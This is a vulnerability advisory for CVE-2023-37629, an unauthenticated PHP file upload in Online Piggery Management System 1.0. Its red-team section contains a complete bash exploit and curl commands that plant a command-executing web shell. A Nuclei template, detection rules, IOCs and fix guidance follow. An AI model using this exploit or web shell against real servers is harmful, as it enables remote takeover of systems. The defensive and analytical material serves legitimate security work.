CVE-2023-37629

Executive Summary

CVE-2023-37629 is a critical unauthenticated file upload vulnerability in the Online Piggery Management System version 1.0. The vulnerability allows an attacker to upload arbitrary PHP files by sending a crafted POST request to the add-pig.php endpoint. Successful exploitation can lead to remote code execution (RCE), full server compromise, data exfiltration, and lateral movement within the network. The vulnerability is trivial to exploit and has a public proof-of-concept (PoC) exploit script and a Nuclei template available, making it a high-priority threat for any organization using this software.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• EPSS Score: 0.87148 (99.45th percentile) – High probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the add-pig.php script, which handles the creation of new pig records. The application fails to properly validate the file type of the uploaded image (pigphoto parameter). An attacker can bypass client-side checks by sending a direct POST request with a malicious PHP file.

Attack Flow:

1. The attacker sends a multipart POST request to /pig/add-pig.php.
2. The request includes a file field named pigphoto with a .php extension.
3. The application saves the uploaded file to the uploadfolder/ directory without sanitizing the file extension or content.
4. The attacker can then access the uploaded shell at http://target/uploadfolder/shell.php and execute arbitrary commands.

Root Cause: The application uses move_uploaded_file() without checking the file extension or MIME type, and the uploadfolder directory is web-accessible.

Vulnerable vs. Patched Code

Vulnerable Code (add-pig.php):

<?php
// ... database connection ...
$target_dir = "uploadfolder/";
$target_file = $target_dir . basename($_FILES["pigphoto"]["name"]);
if (move_uploaded_file($_FILES["pigphoto"]["tmp_name"], $target_file)) {
    // Insert record into database
    $sql = "INSERT INTO pigs (pigno, weight, arrived, gender, status, breed, remark, photo) VALUES (...)";
    // ...
}
?>

Patched Code (Recommended):

<?php
// ... database connection ...
$target_dir = "uploadfolder/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES["pigphoto"]["tmp_name"]);
$file_ext = strtolower(pathinfo($_FILES["pigphoto"]["name"], PATHINFO_EXTENSION));

if (!in_array($file_type, $allowed_types) || !in_array($file_ext, ['jpg', 'jpeg', 'png', 'gif'])) {
    die("Invalid file type.");
}

$new_filename = uniqid() . '.' . $file_ext;
$target_file = $target_dir . $new_filename;

if (move_uploaded_file($_FILES["pigphoto"]["tmp_name"], $target_file)) {
    // Insert record into database
    $sql = "INSERT INTO pigs (pigno, weight, arrived, gender, status, breed, remark, photo) VALUES (...)";
    // ...
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Online Piggery Management System v1.0
• Network access to the web application

Exploit Script (Bash):

#!/bin/bash
# Exploit Title: Online Piggery Management System v1.0 - unauthenticated file upload vulnerability
# Date: July 12 2023
# Exploit Author: 1337kid
# Software Link: https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
# Version: 1.0
# Tested on: Ubuntu
# CVE : CVE-2023-37629
#
# chmod +x exploit.sh
# ./exploit.sh web_url
# ./exploit.sh http://127.0.0.1:8080/

echo "   _____   _____   ___ __ ___ ____   ________ __ ___ ___ "
echo "  / __\\ \\ / / __|_|_  )  \\_  ) __/__|__ /__  / /|_  ) _ \\"
echo " | (__ \\ V /| _|___/ / () / / |_ \\___|_ \\ / / _ \\/ /\\_, /"
echo "  \\___| \\_/ |___| /___\\__/___|___/  |___//_/\\___/___|/_/ "
echo "                         @1337kid"
echo

if [[ $1 == '' ]]; then
    echo "No URL specified!"
    exit
fi

base_url=$1

unauth_file_upload() {
    # CVE-2023-37629 - File upload vuln
    echo "Generating shell.php"
#===========
cat > shell.php << EOF
<?php system(\$_GET['cmd']); ?>
EOF
#===========
    echo "done"
    curl -s -F pigphoto=@shell.php -F submit=pwned $base_url/add-pig.php > /dev/null
    req=$(curl -s -I $base_url"uploadfolder/shell.php?cmd=id" |  head -1 | awk '{print $2}')
    if [[ $req == "200" ]]; then
        echo "Shell uploaded to $(echo $base_url)uploadfolder/shell.php"
    else
        echo "Failed to upload a shell"
    fi

}

req=$(curl -I -s $base_url | head -1 | awk '{print $2}')
if [[ $req -eq "200" ]]; then
    unauth_file_upload
else
    echo "Error"
    echo "Status Code: $req"
fi

Usage:

1. Save the script as exploit.sh.
2. Make it executable: chmod +x exploit.sh.
3. Run: ./exploit.sh http://target-ip:port/
4. If successful, access the shell at http://target-ip:port/uploadfolder/shell.php?cmd=id.

Manual Exploitation with cURL:

# Create a malicious PHP file
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload the file
curl -s -F "pigphoto=@shell.php" -F "submit=pwned" http://target-ip:port/pig/add-pig.php

# Execute commands
curl http://target-ip:port/uploadfolder/shell.php?cmd=id

Blue Team (Defensive)

Lab Setup for Detection Testing:

1. Deploy a vulnerable instance using Docker or a local LAMP stack.
2. Download the application from SourceCodester.
3. Place the files in /var/www/html/.
4. Configure the database as per the installation guide.
5. Run the exploit to generate traffic and logs.

Detection Strategy:

• Monitor for POST requests to /pig/add-pig.php with multipart/form-data containing .php file extensions.
• Alert on access to /uploadfolder/*.php files.
• Look for anomalous file creation in the uploadfolder directory.

Indicators of Compromise (IOCs)

File-Based IOCs:

• uploadfolder/shell.php
• uploadfolder/*.php (any PHP file in this directory)
• Files with names like rand_base(5).php (e.g., aB3xZ.php)

Network IOCs:

• POST requests to /pig/add-pig.php with Content-Type: multipart/form-data
• HTTP requests to /uploadfolder/*.php?cmd=*
• User-Agent strings from common tools (curl, wget, etc.)

Log IOCs:

• Apache/Nginx access logs showing POST /pig/add-pig.php with status 302
• PHP error logs showing move_uploaded_file() operations
• System logs showing unexpected PHP process execution

Detection Engineering

YARA Rule

rule CVE_2023_37629_WebShell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2023-37629"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-37629"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $cmd_param = "$_GET['cmd']"
        $shell_keyword = "shell"
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-37629 - Unauthenticated File Upload to Online Piggery Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-37629 via file upload to add-pig.php
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37629
    - https://www.exploit-db.com/exploits/51598
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/pig/add-pig.php'
        sc-status: 302
    condition: selection
falsepositives:
    - Legitimate pig record creation with valid images
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.37629

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-37629 - Unauthenticated File Upload to Online Piggery Management System";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/pig/add-pig.php";
    http_uri;
    content:"multipart/form-data";
    http_client_body;
    pcre:"/filename=\".*\.php\"/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-37629;
    reference:url,www.exploit-db.com/exploits/51598;
)

Nuclei Template

id: CVE-2023-37629

info:
  name: Online Piggery Management System v1.0 - Unauthenticated File Upload
  author: Harsh
  severity: critical
  description: |
    Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to the system, data leakage, or even complete compromise of the affected server.
  reference:
    - https://www.exploit-db.com/exploits/51598
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37629
    - https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
    - https://github.com/1337kid/Piggery_CMS_multiple_vulns_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37629
    cwe-id: CWE-434
    epss-score: 0.87148
    epss-percentile: 0.99452
    cpe: cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple_online_piggery_management_system_project
    product: simple_online_piggery_management_system
  tags: cve2023,cve,fileupload,rce,opms,intrusive,simple_online_piggery_management_system_project,vuln
variables:
  string: "CVE-2023-37629"

http:
  - raw:
      - |
        POST /pig/add-pig.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP

        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="pigno"

        pig-fms-100
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="weight"

        65465
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="arrived"

        {{date_time("%Y-%M-%D")}}
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="gender"

        female
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="status"

        active
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="breed"

        2
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="remark"

        4fwefwe
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
        Content-Type: application/x-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="submit"


        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "successfully created")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate the server: If possible, take the affected server offline or restrict network access.
2. Remove uploaded shells: Delete all PHP files from the uploadfolder/ directory.
3. Apply input validation: Implement strict file type validation on the server-side (check MIME type and extension).
4. Disable file uploads: Temporarily disable the file upload functionality until a patch is applied.

Long-Term Fixes:

1. Vendor patch: Contact the vendor for an official patch. If unavailable, consider migrating to a supported alternative.
2. Web application firewall (WAF): Deploy a WAF with rules to block file uploads with PHP extensions.
3. File storage: Store uploaded files outside the web root and serve them via a script that enforces MIME types.
4. Regular updates: Implement a patch management process for all third-party software.

Detection & Monitoring:

• Enable detailed logging for all web requests.
• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor for anomalous file creation in web-accessible directories.

Valters IT

{/* [Security Hash: 73FEE9378E93DEBA7624D143] */}